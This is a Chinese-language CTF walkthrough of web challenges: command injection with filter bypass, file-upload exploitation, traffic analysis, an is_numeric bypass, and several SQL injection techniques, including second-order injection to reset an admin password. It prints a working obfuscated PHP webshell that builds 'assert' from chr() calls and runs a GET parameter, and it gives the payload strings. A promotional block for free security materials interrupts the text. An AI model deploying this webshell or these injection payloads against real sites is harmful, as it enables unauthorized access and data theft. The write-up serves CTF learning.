0x01 命令執行
直接payload: 127.0.0.1 &
whoami,發現可以成功執行whoami命令
然后ls …/ ,發現有個key.php文件
嘗試用cat命令查看
發現不行被攔截了。(其實題目過濾了常用的查看文件的命令
)
這里有兩種思路,第一種是根據題目意思用命令執行寫webshell的方式去進行getshell,第二種方式則是使用linux的命令進行繞過。這里采用第二種方式使用c’'at的方式進行繞過。
0x02 基礎題目之文件上傳突破
可以發現部分上傳代碼,文件名被命名成一個隨機數加上原本的文件名然后md5的值。
直接上傳一個帶圖片頭的php木馬(會檢測是否是圖片,所以需要一個GIF89A當圖片頭),而且過濾了一些敏感函數如eval等。這里直接上傳一個免殺的木馬即可。
<?php
function go()
{
$func1 = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) .
chr(116);
return $func1;
}
$func1 = go();
$array1 = array($_GET['cmd']);
array_map($func1, $func1 = $array1);
?>
然后接下來就是爆破出shell的地址了,這里我們直接把上傳的數據包重放1000次用來提高爆破成功的效率。
幫助網安學習,全套資料S信免費領取:
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
用burp的null payload發送1000次
然后設置上傳的文件名1.php為前綴,加上隨機數的1~99999,最后經過md5加密即可。
設置前綴為1.php (上傳的文件名)
然后添加md5
最后就是等待爆破成功。
key在web根目錄下的key.php文件
0x03 基礎題目之流量分析
下載數據包,使用wireshark發現是http協議居多,首先可以使用wireshark的導出文件查看一下http的訪問文件分組。
可以發現攻擊者在進行目錄爆破。這里可以直接選擇
然后根據文件大小排序一下,發現其中有一個壓縮包。
但是壓縮包設置了密碼
然后查找http數據中是否有包含壓縮包名字的數據包,其中phpspy.php包含了這個壓縮包的名稱。
追蹤流結果發現Adm1n!是解壓密碼
(%21是url編碼)
0x04 代碼審計
考點就是讓數字繞過is_numerice判斷,這里直接使用數字后面跟一個字符串即可繞過。
0x05 基礎題目之SQL注入
首先發現題目有一個注冊界面,注冊賬號之后進行登錄。
然后再發表文章處發現存在insert注入。
直接抓取數據包使用sqlmap即可
0x06 基礎題目之SQL注入
沒什么特別的,只是過濾了union關鍵字
這里用雙寫繞過就可以了, ununionion這樣。
然后直接load_file讀取文件即可獲取key。
0x07 無回顯命令執行
很簡單,看了一下代碼,限制了cmd參數的命令長度而已。可以使用linux的流符號
生成一個文件
0x08 二階SQL注入
二次注入是一種SQL注入攻擊的形式,它涉及到用戶輸入的數據在第一次被存儲到數據庫中時被錯誤地處理,導致在后續的查詢中,這些原本被轉義的數據再次被使用,從而執行惡意命令。
第一步是插入惡意數據:
在第一次插入數據時,開發者可能使用了函數如addslashes過濾了,這時是沒有問題的。
比如注冊功能:
這里注冊一個test’用戶 ,由于’被成功轉義成了’
所以這里是能夠正常執行sql語句的。
然后登錄test’用戶也是沒有問題的
但是問題出現再第二次數據庫操作中,由于被存入的數據庫的用戶名是test’,那么在第二次系統從數據庫中獲取用戶名的時候如果沒有過濾那么就會造成二次注入。
比如更新密碼:
系統的語句可能會長這樣:
update user set passwd = ‘newpasswd’ where uname = ‘test’’ #
test’是用戶名。
那么這種情況就可能導致注入。
那么二次注入怎么利用,這里可以看到需要admin用戶登錄才能夠得到key,那么我們能夠用構造一條語重置admin密碼就可以了
update user set passwd = ‘newpasswd’ where uname = ‘aaa’ or 1 –
a’
aaa’ or 1 – a是用戶名
用新用戶重置admin的密碼
再次登錄admin